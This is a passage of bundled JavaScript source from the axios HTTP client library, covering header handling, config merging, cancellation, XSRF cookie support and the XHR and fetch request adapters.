    return filter.call(this, value, header);
  }

  if (isHeaderNameFilter) {
    value = header;
  }

  if (!utils$1.isString(value)) return;

  if (utils$1.isString(filter)) {
    return value.indexOf(filter) !== -1;
  }

  if (utils$1.isRegExp(filter)) {
    return filter.test(value);
  }
}

function formatHeader(header) {
  return header.trim()
    .toLowerCase().replace(/([a-z\d])(\w*)/g, (w, char, str) => {
      return char.toUpperCase() + str;
    });
}

function buildAccessors(obj, header) {
  const accessorName = utils$1.toCamelCase(' ' + header);

  ['get', 'set', 'has'].forEach(methodName => {
    Object.defineProperty(obj, methodName + accessorName, {
      value: function(arg1, arg2, arg3) {
        return this[methodName].call(this, header, arg1, arg2, arg3);
      },
      configurable: true
    });
  });
}

class AxiosHeaders {
  constructor(headers) {
    headers && this.set(headers);
  }

  set(header, valueOrRewrite, rewrite) {
    const self = this;

    function setHeader(_value, _header, _rewrite) {
      const lHeader = normalizeHeader(_header);

      if (!lHeader) {
        throw new Error('header name must be a non-empty string');
      }

      const key = utils$1.findKey(self, lHeader);

      if(!key || self[key] === undefined || _rewrite === true || (_rewrite === undefined && self[key] !== false)) {
        self[key || _header] = normalizeValue(_value);
      }
    }

    const setHeaders = (headers, _rewrite) =>
      utils$1.forEach(headers, (_value, _header) => setHeader(_value, _header, _rewrite));

    if (utils$1.isPlainObject(header) || header instanceof this.constructor) {
      setHeaders(header, valueOrRewrite);
    } else if(utils$1.isString(header) && (header = header.trim()) && !isValidHeaderName(header)) {
      setHeaders(parseHeaders(header), valueOrRewrite);
    } else if (utils$1.isHeaders(header)) {
      for (const [key, value] of header.entries()) {
        setHeader(value, key, rewrite);
      }
    } else {
      header != null && setHeader(valueOrRewrite, header, rewrite);
    }

    return this;
  }

  get(header, parser) {
    header = normalizeHeader(header);

    if (header) {
      const key = utils$1.findKey(this, header);

      if (key) {
        const value = this[key];

        if (!parser) {
          return value;
        }

        if (parser === true) {
          return parseTokens(value);
        }

        if (utils$1.isFunction(parser)) {
          return parser.call(this, value, key);
        }

        if (utils$1.isRegExp(parser)) {
          return parser.exec(value);
        }

        throw new TypeError('parser must be boolean|regexp|function');
      }
    }
  }

  has(header, matcher) {
    header = normalizeHeader(header);

    if (header) {
      const key = utils$1.findKey(this, header);

      return !!(key && this[key] !== undefined && (!matcher || matchHeaderValue(this, this[key], key, matcher)));
    }

    return false;
  }

  delete(header, matcher) {
    const self = this;
    let deleted = false;

    function deleteHeader(_header) {
      _header = normalizeHeader(_header);

      if (_header) {
        const key = utils$1.findKey(self, _header);

        if (key && (!matcher || matchHeaderValue(self, self[key], key, matcher))) {
          delete self[key];

          deleted = true;
        }
      }
    }

    if (utils$1.isArray(header)) {
      header.forEach(deleteHeader);
    } else {
      deleteHeader(header);
    }

    return deleted;
  }

  clear(matcher) {
    const keys = Object.keys(this);
    let i = keys.length;
    let deleted = false;

    while (i--) {
      const key = keys[i];
      if(!matcher || matchHeaderValue(this, this[key], key, matcher, true)) {
        delete this[key];
        deleted = true;
      }
    }

    return deleted;
  }

  normalize(format) {
    const self = this;
    const headers = {};

    utils$1.forEach(this, (value, header) => {
      const key = utils$1.findKey(headers, header);

      if (key) {
        self[key] = normalizeValue(value);
        delete self[header];
        return;
      }

      const normalized = format ? formatHeader(header) : String(header).trim();

      if (normalized !== header) {
        delete self[header];
      }

      self[normalized] = normalizeValue(value);

      headers[normalized] = true;
    });

    return this;
  }

  concat(...targets) {
    return this.constructor.concat(this, ...targets);
  }

  toJSON(asStrings) {
    const obj = Object.create(null);

    utils$1.forEach(this, (value, header) => {
      value != null && value !== false && (obj[header] = asStrings && utils$1.isArray(value) ? value.join(', ') : value);
    });

    return obj;
  }

  [Symbol.iterator]() {
    return Object.entries(this.toJSON())[Symbol.iterator]();
  }

  toString() {
    return Object.entries(this.toJSON()).map(([header, value]) => header + ': ' + value).join('\n');
  }

  get [Symbol.toStringTag]() {
    return 'AxiosHeaders';
  }

  static from(thing) {
    return thing instanceof this ? thing : new this(thing);
  }

  static concat(first, ...targets) {
    const computed = new this(first);

    targets.forEach((target) => computed.set(target));

    return computed;
  }

  static accessor(header) {
    const internals = this[$internals] = (this[$internals] = {
      accessors: {}
    });

    const accessors = internals.accessors;
    const prototype = this.prototype;

    function defineAccessor(_header) {
      const lHeader = normalizeHeader(_header);

      if (!accessors[lHeader]) {
        buildAccessors(prototype, _header);
        accessors[lHeader] = true;
      }
    }

    utils$1.isArray(header) ? header.forEach(defineAccessor) : defineAccessor(header);

    return this;
  }
}

AxiosHeaders.accessor(['Content-Type', 'Content-Length', 'Accept', 'Accept-Encoding', 'User-Agent', 'Authorization']);

// reserved names hotfix
utils$1.reduceDescriptors(AxiosHeaders.prototype, ({value}, key) => {
  let mapped = key[0].toUpperCase() + key.slice(1); // map `set` => `Set`
  return {
    get: () => value,
    set(headerValue) {
      this[mapped] = headerValue;
    }
  }
});

utils$1.freezeMethods(AxiosHeaders);

var AxiosHeaders$1 = AxiosHeaders;

/**
 * Transform the data for a request or a response
 *
 * @param {Array|Function} fns A single function or Array of functions
 * @param {?Object} response The response object
 *
 * @returns {*} The resulting transformed data
 */
function transformData(fns, response) {
  const config = this || defaults$1;
  const context = response || config;
  const headers = AxiosHeaders$1.from(context.headers);
  let data = context.data;

  utils$1.forEach(fns, function transform(fn) {
    data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
  });

  headers.normalize();

  return data;
}

function isCancel(value) {
  return !!(value && value.__CANCEL__);
}

/**
 * A `CanceledError` is an object that is thrown when an operation is canceled.
 *
 * @param {string=} message The message.
 * @param {Object=} config The config.
 * @param {Object=} request The request.
 *
 * @returns {CanceledError} The created error.
 */
function CanceledError(message, config, request) {
  // eslint-disable-next-line no-eq-null,eqeqeq
  AxiosError.call(this, message == null ? 'canceled' : message, AxiosError.ERR_CANCELED, config, request);
  this.name = 'CanceledError';
}

utils$1.inherits(CanceledError, AxiosError, {
  __CANCEL__: true
});

/**
 * Resolve or reject a Promise based on response status.
 *
 * @param {Function} resolve A function that resolves the promise.
 * @param {Function} reject A function that rejects the promise.
 * @param {object} response The response.
 *
 * @returns {object} The response.
 */
function settle(resolve, reject, response) {
  const validateStatus = response.config.validateStatus;
  if (!response.status || !validateStatus || validateStatus(response.status)) {
    resolve(response);
  } else {
    reject(new AxiosError(
      'Request failed with status code ' + response.status,
      [AxiosError.ERR_BAD_REQUEST, AxiosError.ERR_BAD_RESPONSE][Math.floor(response.status / 100) - 4],
      response.config,
      response.request,
      response
    ));
  }
}

function parseProtocol(url) {
  const match = /^([-+\w]{1,25})(:?\/\/|:)/.exec(url);
  return match && match[1] || '';
}

/**
 * Calculate data maxRate
 * @param {Number} [samplesCount= 10]
 * @param {Number} [min= 1000]
 * @returns {Function}
 */
function speedometer(samplesCount, min) {
  samplesCount = samplesCount || 10;
  const bytes = new Array(samplesCount);
  const timestamps = new Array(samplesCount);
  let head = 0;
  let tail = 0;
  let firstSampleTS;

  min = min !== undefined ? min : 1000;

  return function push(chunkLength) {
    const now = Date.now();

    const startedAt = timestamps[tail];

    if (!firstSampleTS) {
      firstSampleTS = now;
    }

    bytes[head] = chunkLength;
    timestamps[head] = now;

    let i = tail;
    let bytesCount = 0;

    while (i !== head) {
      bytesCount += bytes[i++];
      i = i % samplesCount;
    }

    head = (head + 1) % samplesCount;

    if (head === tail) {
      tail = (tail + 1) % samplesCount;
    }

    if (now - firstSampleTS < min) {
      return;
    }

    const passed = startedAt && now - startedAt;

    return passed ? Math.round(bytesCount * 1000 / passed) : undefined;
  };
}

/**
 * Throttle decorator
 * @param {Function} fn
 * @param {Number} freq
 * @return {Function}
 */
function throttle(fn, freq) {
  let timestamp = 0;
  const threshold = 1000 / freq;
  let timer = null;
  return function throttled() {
    const force = this === true;

    const now = Date.now();
    if (force || now - timestamp > threshold) {
      if (timer) {
        clearTimeout(timer);
        timer = null;
      }
      timestamp = now;
      return fn.apply(null, arguments);
    }
    if (!timer) {
      timer = setTimeout(() => {
        timer = null;
        timestamp = Date.now();
        return fn.apply(null, arguments);
      }, threshold - (now - timestamp));
    }
  };
}

var progressEventReducer = (listener, isDownloadStream, freq = 3) => {
  let bytesNotified = 0;
  const _speedometer = speedometer(50, 250);

  return throttle(e => {
    const loaded = e.loaded;
    const total = e.lengthComputable ? e.total : undefined;
    const progressBytes = loaded - bytesNotified;
    const rate = _speedometer(progressBytes);
    const inRange = loaded <= total;

    bytesNotified = loaded;

    const data = {
      loaded,
      total,
      progress: total ? (loaded / total) : undefined,
      bytes: progressBytes,
      rate: rate ? rate : undefined,
      estimated: rate && total && inRange ? (total - loaded) / rate : undefined,
      event: e,
      lengthComputable: total != null
    };

    data[isDownloadStream ? 'download' : 'upload'] = true;

    listener(data);
  }, freq);
};

var isURLSameOrigin = platform.hasStandardBrowserEnv ?

// Standard browser envs have full support of the APIs needed to test
// whether the request URL is of the same origin as current location.
  (function standardBrowserEnv() {
    const msie = /(msie|trident)/i.test(navigator.userAgent);
    const urlParsingNode = document.createElement('a');
    let originURL;

    /**
    * Parse a URL to discover its components
    *
    * @param {String} url The URL to be parsed
    * @returns {Object}
    */
    function resolveURL(url) {
      let href = url;

      if (msie) {
        // IE needs attribute set twice to normalize properties
        urlParsingNode.setAttribute('href', href);
        href = urlParsingNode.href;
      }

      urlParsingNode.setAttribute('href', href);

      // urlParsingNode provides the UrlUtils interface - http://url.spec.whatwg.org/#urlutils
      return {
        href: urlParsingNode.href,
        protocol: urlParsingNode.protocol ? urlParsingNode.protocol.replace(/:$/, '') : '',
        host: urlParsingNode.host,
        search: urlParsingNode.search ? urlParsingNode.search.replace(/^\?/, '') : '',
        hash: urlParsingNode.hash ? urlParsingNode.hash.replace(/^#/, '') : '',
        hostname: urlParsingNode.hostname,
        port: urlParsingNode.port,
        pathname: (urlParsingNode.pathname.charAt(0) === '/') ?
          urlParsingNode.pathname :
          '/' + urlParsingNode.pathname
      };
    }

    originURL = resolveURL(window.location.href);

    /**
    * Determine if a URL shares the same origin as the current location
    *
    * @param {String} requestURL The URL to test
    * @returns {boolean} True if URL shares the same origin, otherwise false
    */
    return function isURLSameOrigin(requestURL) {
      const parsed = (utils$1.isString(requestURL)) ? resolveURL(requestURL) : requestURL;
      return (parsed.protocol === originURL.protocol &&
          parsed.host === originURL.host);
    };
  })() :

  // Non standard browser envs (web workers, react-native) lack needed support.
  (function nonStandardBrowserEnv() {
    return function isURLSameOrigin() {
      return true;
    };
  })();

var cookies = platform.hasStandardBrowserEnv ?

  // Standard browser envs support document.cookie
  {
    write(name, value, expires, path, domain, secure) {
      const cookie = [name + '=' + encodeURIComponent(value)];

      utils$1.isNumber(expires) && cookie.push('expires=' + new Date(expires).toGMTString());

      utils$1.isString(path) && cookie.push('path=' + path);

      utils$1.isString(domain) && cookie.push('domain=' + domain);

      secure === true && cookie.push('secure');

      document.cookie = cookie.join('; ');
    },

    read(name) {
      const match = document.cookie.match(new RegExp('(^|;\\s*)(' + name + ')=([^;]*)'));
      return (match ? decodeURIComponent(match[3]) : null);
    },

    remove(name) {
      this.write(name, '', Date.now() - 86400000);
    }
  }

  :

  // Non-standard browser env (web workers, react-native) lack needed support.
  {
    write() {},
    read() {
      return null;
    },
    remove() {}
  };

/**
 * Determines whether the specified URL is absolute
 *
 * @param {string} url The URL to test
 *
 * @returns {boolean} True if the specified URL is absolute, otherwise false
 */
function isAbsoluteURL(url) {
  // A URL is considered absolute if it begins with "<scheme>://" or "//" (protocol-relative URL).
  // RFC 3986 defines scheme name as a sequence of characters beginning with a letter and followed
  // by any combination of letters, digits, plus, period, or hyphen.
  return /^([a-z][a-z\d+\-.]*:)?\/\//i.test(url);
}

/**
 * Creates a new URL by combining the specified URLs
 *
 * @param {string} baseURL The base URL
 * @param {string} relativeURL The relative URL
 *
 * @returns {string} The combined URL
 */
function combineURLs(baseURL, relativeURL) {
  return relativeURL
    ? baseURL.replace(/\/?\/$/, '') + '/' + relativeURL.replace(/^\/+/, '')
    : baseURL;
}

/**
 * Creates a new URL by combining the baseURL with the requestedURL,
 * only when the requestedURL is not already an absolute URL.
 * If the requestURL is absolute, this function returns the requestedURL untouched.
 *
 * @param {string} baseURL The base URL
 * @param {string} requestedURL Absolute or relative URL to combine
 *
 * @returns {string} The combined full path
 */
function buildFullPath(baseURL, requestedURL) {
  if (baseURL && !isAbsoluteURL(requestedURL)) {
    return combineURLs(baseURL, requestedURL);
  }
  return requestedURL;
}

const headersToObject = (thing) => thing instanceof AxiosHeaders$1 ? { ...thing } : thing;

/**
 * Config-specific merge-function which creates a new config-object
 * by merging two configuration objects together.
 *
 * @param {Object} config1
 * @param {Object} config2
 *
 * @returns {Object} New object resulting from merging config2 to config1
 */
function mergeConfig(config1, config2) {
  // eslint-disable-next-line no-param-reassign
  config2 = config2 || {};
  const config = {};

  function getMergedValue(target, source, caseless) {
    if (utils$1.isPlainObject(target) && utils$1.isPlainObject(source)) {
      return utils$1.merge.call({caseless}, target, source);
    } else if (utils$1.isPlainObject(source)) {
      return utils$1.merge({}, source);
    } else if (utils$1.isArray(source)) {
      return source.slice();
    }
    return source;
  }

  // eslint-disable-next-line consistent-return
  function mergeDeepProperties(a, b, caseless) {
    if (!utils$1.isUndefined(b)) {
      return getMergedValue(a, b, caseless);
    } else if (!utils$1.isUndefined(a)) {
      return getMergedValue(undefined, a, caseless);
    }
  }

  // eslint-disable-next-line consistent-return
  function valueFromConfig2(a, b) {
    if (!utils$1.isUndefined(b)) {
      return getMergedValue(undefined, b);
    }
  }

  // eslint-disable-next-line consistent-return
  function defaultToConfig2(a, b) {
    if (!utils$1.isUndefined(b)) {
      return getMergedValue(undefined, b);
    } else if (!utils$1.isUndefined(a)) {
      return getMergedValue(undefined, a);
    }
  }

  // eslint-disable-next-line consistent-return
  function mergeDirectKeys(a, b, prop) {
    if (prop in config2) {
      return getMergedValue(a, b);
    } else if (prop in config1) {
      return getMergedValue(undefined, a);
    }
  }

  const mergeMap = {
    url: valueFromConfig2,
    method: valueFromConfig2,
    data: valueFromConfig2,
    baseURL: defaultToConfig2,
    transformRequest: defaultToConfig2,
    transformResponse: defaultToConfig2,
    paramsSerializer: defaultToConfig2,
    timeout: defaultToConfig2,
    timeoutMessage: defaultToConfig2,
    withCredentials: defaultToConfig2,
    withXSRFToken: defaultToConfig2,
    adapter: defaultToConfig2,
    responseType: defaultToConfig2,
    xsrfCookieName: defaultToConfig2,
    xsrfHeaderName: defaultToConfig2,
    onUploadProgress: defaultToConfig2,
    onDownloadProgress: defaultToConfig2,
    decompress: defaultToConfig2,
    maxContentLength: defaultToConfig2,
    maxBodyLength: defaultToConfig2,
    beforeRedirect: defaultToConfig2,
    transport: defaultToConfig2,
    httpAgent: defaultToConfig2,
    httpsAgent: defaultToConfig2,
    cancelToken: defaultToConfig2,
    socketPath: defaultToConfig2,
    responseEncoding: defaultToConfig2,
    validateStatus: mergeDirectKeys,
    headers: (a, b) => mergeDeepProperties(headersToObject(a), headersToObject(b), true)
  };

  utils$1.forEach(Object.keys(Object.assign({}, config1, config2)), function computeConfigValue(prop) {
    const merge = mergeMap[prop] || mergeDeepProperties;
    const configValue = merge(config1[prop], config2[prop], prop);
    (utils$1.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
  });

  return config;
}

var resolveConfig = (config) => {
  const newConfig = mergeConfig({}, config);

  let {data, withXSRFToken, xsrfHeaderName, xsrfCookieName, headers, auth} = newConfig;

  newConfig.headers = headers = AxiosHeaders$1.from(headers);

  newConfig.url = buildURL(buildFullPath(newConfig.baseURL, newConfig.url), config.params, config.paramsSerializer);

  // HTTP basic authentication
  if (auth) {
    headers.set('Authorization', 'Basic ' +
      btoa((auth.username || '') + ':' + (auth.password ? unescape(encodeURIComponent(auth.password)) : ''))
    );
  }

  let contentType;

  if (utils$1.isFormData(data)) {
    if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv) {
      headers.setContentType(undefined); // Let the browser set it
    } else if ((contentType = headers.getContentType()) !== false) {
      // fix semicolon duplication issue for ReactNative FormData implementation
      const [type, ...tokens] = contentType ? contentType.split(';').map(token => token.trim()).filter(Boolean) : [];
      headers.setContentType([type || 'multipart/form-data', ...tokens].join('; '));
    }
  }

  // Add xsrf header
  // This is only done if running in a standard browser environment.
  // Specifically not if we're in a web worker, or react-native.

  if (platform.hasStandardBrowserEnv) {
    withXSRFToken && utils$1.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));

    if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {
      // Add xsrf header
      const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);

      if (xsrfValue) {
        headers.set(xsrfHeaderName, xsrfValue);
      }
    }
  }

  return newConfig;
};

const isXHRAdapterSupported = typeof XMLHttpRequest !== 'undefined';

var xhrAdapter = isXHRAdapterSupported && function (config) {
  return new Promise(function dispatchXhrRequest(resolve, reject) {
    const _config = resolveConfig(config);
    let requestData = _config.data;
    const requestHeaders = AxiosHeaders$1.from(_config.headers).normalize();
    let {responseType} = _config;
    let onCanceled;
    function done() {
      if (_config.cancelToken) {
        _config.cancelToken.unsubscribe(onCanceled);
      }

      if (_config.signal) {
        _config.signal.removeEventListener('abort', onCanceled);
      }
    }

    let request = new XMLHttpRequest();

    request.open(_config.method.toUpperCase(), _config.url, true);

    // Set the request timeout in MS
    request.timeout = _config.timeout;

    function onloadend() {
      if (!request) {
        return;
      }
      // Prepare the response
      const responseHeaders = AxiosHeaders$1.from(
        'getAllResponseHeaders' in request && request.getAllResponseHeaders()
      );
      const responseData = !responseType || responseType === 'text' || responseType === 'json' ?
        request.responseText : request.response;
      const response = {
        data: responseData,
        status: request.status,
        statusText: request.statusText,
        headers: responseHeaders,
        config,
        request
      };

      settle(function _resolve(value) {
        resolve(value);
        done();
      }, function _reject(err) {
        reject(err);
        done();
      }, response);

      // Clean up request
      request = null;
    }

    if ('onloadend' in request) {
      // Use onloadend if available
      request.onloadend = onloadend;
    } else {
      // Listen for ready state to emulate onloadend
      request.onreadystatechange = function handleLoad() {
        if (!request || request.readyState !== 4) {
          return;
        }

        // The request errored out and we didn't get a response, this will be
        // handled by onerror instead
        // With one exception: request that using file: protocol, most browsers
        // will return status as 0 even though it's a successful request
        if (request.status === 0 && !(request.responseURL && request.responseURL.indexOf('file:') === 0)) {
          return;
        }
        // readystate handler is calling before onerror or ontimeout handlers,
        // so we should call onloadend on the next 'tick'
        setTimeout(onloadend);
      };
    }

    // Handle browser request cancellation (as opposed to a manual cancellation)
    request.onabort = function handleAbort() {
      if (!request) {
        return;
      }

      reject(new AxiosError('Request aborted', AxiosError.ECONNABORTED, _config, request));

      // Clean up request
      request = null;
    };

    // Handle low level network errors
    request.onerror = function handleError() {
      // Real errors are hidden from us by the browser
      // onerror should only fire if it's a network error
      reject(new AxiosError('Network Error', AxiosError.ERR_NETWORK, _config, request));

      // Clean up request
      request = null;
    };

    // Handle timeout
    request.ontimeout = function handleTimeout() {
      let timeoutErrorMessage = _config.timeout ? 'timeout of ' + _config.timeout + 'ms exceeded' : 'timeout exceeded';
      const transitional = _config.transitional || transitionalDefaults;
      if (_config.timeoutErrorMessage) {
        timeoutErrorMessage = _config.timeoutErrorMessage;
      }
      reject(new AxiosError(
        timeoutErrorMessage,
        transitional.clarifyTimeoutError ? AxiosError.ETIMEDOUT : AxiosError.ECONNABORTED,
        _config,
        request));

      // Clean up request
      request = null;
    };

    // Remove Content-Type if data is undefined
    requestData === undefined && requestHeaders.setContentType(null);

    // Add headers to the request
    if ('setRequestHeader' in request) {
      utils$1.forEach(requestHeaders.toJSON(), function setRequestHeader(val, key) {
        request.setRequestHeader(key, val);
      });
    }

    // Add withCredentials to request if needed
    if (!utils$1.isUndefined(_config.withCredentials)) {
      request.withCredentials = !!_config.withCredentials;
    }

    // Add responseType to request if needed
    if (responseType && responseType !== 'json') {
      request.responseType = _config.responseType;
    }

    // Handle progress if needed
    if (typeof _config.onDownloadProgress === 'function') {
      request.addEventListener('progress', progressEventReducer(_config.onDownloadProgress, true));
    }

    // Not all browsers support upload events
    if (typeof _config.onUploadProgress === 'function' && request.upload) {
      request.upload.addEventListener('progress', progressEventReducer(_config.onUploadProgress));
    }

    if (_config.cancelToken || _config.signal) {
      // Handle cancellation
      // eslint-disable-next-line func-names
      onCanceled = cancel => {
        if (!request) {
          return;
        }
        reject(!cancel || cancel.type ? new CanceledError(null, config, request) : cancel);
        request.abort();
        request = null;
      };

      _config.cancelToken && _config.cancelToken.subscribe(onCanceled);
      if (_config.signal) {
        _config.signal.aborted ? onCanceled() : _config.signal.addEventListener('abort', onCanceled);
      }
    }

    const protocol = parseProtocol(_config.url);

    if (protocol && platform.protocols.indexOf(protocol) === -1) {
      reject(new AxiosError('Unsupported protocol ' + protocol + ':', AxiosError.ERR_BAD_REQUEST, config));
      return;
    }


    // Send the request
    request.send(requestData || null);
  });
};

const composeSignals = (signals, timeout) => {
  let controller = new AbortController();

  let aborted;

  const onabort = function (cancel) {
    if (!aborted) {
      aborted = true;
      unsubscribe();
      const err = cancel instanceof Error ? cancel : this.reason;
      controller.abort(err instanceof AxiosError ? err : new CanceledError(err instanceof Error ? err.message : err));
    }
  };

  let timer = timeout && setTimeout(() => {
    onabort(new AxiosError(`timeout ${timeout} of ms exceeded`, AxiosError.ETIMEDOUT));
  }, timeout);

  const unsubscribe = () => {
    if (signals) {
      timer && clearTimeout(timer);
      timer = null;
      signals.forEach(signal => {
        signal &&
        (signal.removeEventListener ? signal.removeEventListener('abort', onabort) : signal.unsubscribe(onabort));
      });
      signals = null;
    }
  };

  signals.forEach((signal) => signal && signal.addEventListener && signal.addEventListener('abort', onabort));

  const {signal} = controller;

  signal.unsubscribe = unsubscribe;

  return [signal, () => {
    timer && clearTimeout(timer);
    timer = null;
  }];
};

var composeSignals$1 = composeSignals;

const streamChunk = function* (chunk, chunkSize) {
  let len = chunk.byteLength;

  if (!chunkSize || len < chunkSize) {
    yield chunk;
    return;
  }

  let pos = 0;
  let end;

  while (pos < len) {
    end = pos + chunkSize;
    yield chunk.slice(pos, end);
    pos = end;
  }
};

const readBytes = async function* (iterable, chunkSize, encode) {
  for await (const chunk of iterable) {
    yield* streamChunk(ArrayBuffer.isView(chunk) ? chunk : (await encode(String(chunk))), chunkSize);
  }
};

const trackStream = (stream, chunkSize, onProgress, onFinish, encode) => {
  const iterator = readBytes(stream, chunkSize, encode);

  let bytes = 0;

  return new ReadableStream({
    type: 'bytes',

    async pull(controller) {
      const {done, value} = await iterator.next();

      if (done) {
        controller.close();
        onFinish();
        return;
      }

      let len = value.byteLength;
      onProgress && onProgress(bytes += len);
      controller.enqueue(new Uint8Array(value));
    },
    cancel(reason) {
      onFinish(reason);
      return iterator.return();
    }
  }, {
    highWaterMark: 2
  })
};

const fetchProgressDecorator = (total, fn) => {
  const lengthComputable = total != null;
  return (loaded) => setTimeout(() => fn({
    lengthComputable,
    total,
    loaded
  }));
};

const isFetchSupported = typeof fetch === 'function' && typeof Request === 'function' && typeof Response === 'function';
const isReadableStreamSupported = isFetchSupported && typeof ReadableStream === 'function';

// used only inside the fetch adapter
const encodeText = isFetchSupported && (typeof TextEncoder === 'function' ?
    ((encoder) => (str) => encoder.encode(str))(new TextEncoder()) :
    async (str) => new Uint8Array(await new Response(str).arrayBuffer())
);

const supportsRequestStream = isReadableStreamSupported && (() => {
  let duplexAccessed = false;

  const hasContentType = new Request(platform.origin, {
    body: new ReadableStream(),
    method: 'POST',
    get duplex() {
      duplexAccessed = true;
      return 'half';
    },
  }).headers.has('Content-Type');

  return duplexAccessed && !hasContentType;
})();

const DEFAULT_CHUNK_SIZE = 64 * 1024;

const supportsResponseStream = isReadableStreamSupported && !!(()=> {
  try {
    return utils$1.isReadableStream(new Response('').body);
  } catch(err) {
    // return undefined
  }
})();

const resolvers = {
  stream: supportsResponseStream && ((res) => res.body)
};

isFetchSupported && (((res) => {
  ['text', 'arrayBuffer', 'blob', 'formData', 'stream'].forEach(type => {
    !resolvers[type] && (resolvers[type] = utils$1.isFunction(res[type]) ? (res) => res[type]() :
      (_, config) => {
        throw new AxiosError(`Response type '${type}' is not supported`, AxiosError.ERR_NOT_SUPPORT, config);
      });
  });
})(new Response));

const getBodyLength = async (body) => {
  if (body == null) {
    return 0;
  }

  if(utils$1.isBlob(body)) {
    return body.size;
  }

  if(utils$1.isSpecCompliantForm(body)) {
    return (await new Request(body).arrayBuffer()).byteLength;
  }

  if(utils$1.isArrayBufferView(body)) {
    return body.byteLength;
  }

  if(utils$1.isURLSearchParams(body)) {
    body = body + '';
  }

  if(utils$1.isString(body)) {
    return (await encodeText(body)).byteLength;
  }
};

const resolveBodyLength = async (headers, body) => {
  const length = utils$1.toFiniteNumber(headers.getContentLength());

  return length == null ? getBodyLength(body) : length;
};

var fetchAdapter = isFetchSupported && (async (config) => {
  let {
    url,
    method,
    data,
    signal,
    cancelToken,
    timeout,
    onDownloadProgress,
    onUploadProgress,
    responseType,
    headers,
    withCredentials = 'same-origin',
    fetchOptions
  } = resolveConfig(config);

  responseType = responseType ? (responseType + '').toLowerCase() : 'text';

  let [composedSignal, stopTimeout] = (signal || cancelToken || timeout) ?
    composeSignals$1([signal, cancelToken], timeout) : [];

  let finished, request;

  const onFinish = () => {
    !finished && setTimeout(() => {
      composedSignal && composedSignal.unsubscribe();
    });

    finished = true;
  };

  let requestContentLength;

  try {
    if (
      onUploadProgress && supportsRequestStream && method !== 'get' && method !== 'head' &&
      (requestContentLength = await resolveBodyLength(headers, data)) !== 0
    ) {
      let _request = new Request(url, {
        method: 'POST',
        body: data,
        duplex: "half"
      });

      let contentTypeHeader;

      if (utils$1.isFormData(data) && (contentTypeHeader = _request.headers.get('content-type'))) {
        headers.setContentType(contentTypeHeader);
      }

      if (_request.body) {
        data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, fetchProgressDecorator(
          requestContentLength,
          progressEventReducer(onUploadProgress)
        ), null, encodeText);
      }
    }

    if (!utils$1.isString(withCredentials)) {
      withCredentials = withCredentials ? 'cors' : 'omit';
    }

    request = new Request(url, {
      ...fetchOptions,
      signal: composedSignal,
      method: method.toUpperCase(),
      headers: headers.normalize().toJSON(),
      body: data,
      duplex: "half",
      withCredentials
    });

    let response = await fetch(request);

    const isStreamResponse = supportsResponseStream && (responseType === 'stream' || responseType === 'response');

    if (supportsResponseStream && (onDownloadProgress || isStreamResponse)) {
      const options = {};

      ['status', 'statusText', 'headers'].forEach(prop => {
        options[prop] = response[prop];
      });

      const responseContentLength = utils$1.toFiniteNumber(response.headers.get('content-length'));

      response = new Response(
        trackStream(response.body, DEFAULT_CHUNK_SIZE, onDownloadProgress && fetchProgressDecorator(
          responseContentLength,
          progressEventReducer(onDownloadProgress, true)
        ), isStreamResponse && onFinish, encodeText),
        options
      );
    }

    responseType = responseType || 'text';

    let responseData = await resolvers[utils$1.findKey(resolvers, responseType) || 'text'](response, config);

    !isStreamResponse && onFinish();

    stopTimeout && stopTimeout();

    return await new Promise((resolve, reject) => {
      settle(resolve, reject, {
        data: responseData,
        headers: AxiosHeaders$1.from(response.headers),
        status: response.status,
        statusText: response.statusText,
        config,
        request
      });
    })
  } catch (err) {
    onFinish();

    if (err && err.name === 'TypeError' && /fetch/i.test(err.message)) {
      throw Object.assign(
        new AxiosError('Network Error', AxiosError.ERR_NETWORK, config, request),
        {
          cause: err.cause || err
        }
      )
    }

    throw AxiosError.from(err, err && err.code, config, request);
  }
});

const knownAdapters = {
  http: httpAdapter,
  xhr: xhrAdapter,
  fetch: fetchAdapter
};

utils$1.forEach(knownAdapters, (fn, value) => {
  if (fn) {
    try {
      Object.defineProperty(fn, 'name', {value});
    } catch (e) {
      // eslint-disable-next-line no-empty
    }
    Object.defineProperty(fn, 'adapterName', {value});
  }
});

const renderReason = (reason) => `- ${reason}`;

const isResolvedHandle = (adapter) => utils$1.isFunction(adapter) || adapter === null || adapter === false;

var adapters = {
  getAdapter: (adapters) => {
    adapters = utils$1.isArray(adapters) ? adapters : [adapters];

    const {length} = adapters;
    let nameOrAdapter;
    let adapter;

    const rejectedReasons = {};

    for (let i = 0; i < length; i++) {
      nameOrAdapter = adapters[i];
      let id;

      adapter = nameOrAdapter;

      if (!isResolvedHandle(nameOrAdapter)) {
        adapter = knownAdapters[(id = String(nameOrAdapter)).toLowerCase()];

        if (adapter === undefined) {
          throw new AxiosError(`Unknown adapter '${id}'`);
        }
      }

      if (adapter) {
        break;
      }

      rejectedReasons[id || '#' + i] = adapter;
    }

    if (!adapter) {

      const reasons = Object.entries(rejectedReasons)
        .map(([id, state]) => `adapter ${id} ` +
          (state === false ? 'is not supported by the environment' : 'is not available in the build')
        );

      let s = length ?
        (reasons.length > 1 ? 'since :\n' + reasons.map(renderReason).join('\n') : ' ' + renderReason(reasons[0])) :
        'as no adapter specified';

      throw new AxiosError(
        `There is no suitable adapter to dispatch the request ` + s,
        'ERR_NOT_SUPPORT'
      );
    }

    return adapter;
  },
  adapters: knownAdapters
};

/**
 * Throws a `CanceledError` if cancellation has been requested.
 *
 * @param {Object} config The config that is to be used for the request
 *
 * @returns {void}
 */
function throwIfCancellationRequested(config) {
  if (config.cancelToken) {
    config.cancelToken.throwIfRequested();
  }

  if (config.signal && config.signal.aborted) {
    throw new CanceledError(null, config);
  }
}

/**
 * Dispatch a request to the server using the configured adapter.
 *
 * @param {object} config The config that is to be used for the request
 *
 * @returns {Promise} The Promise to be fulfilled
 */
function dispatchRequest(config) {
  throwIfCancellationRequested(config);

  config.headers = AxiosHeaders$1.from(config.headers);

  // Transform request data
  config.data = transformData.call(
    config,
    config.transformRequest
  );

  if (['post', 'put', 'patch'].indexOf(config.method) !== -1) {
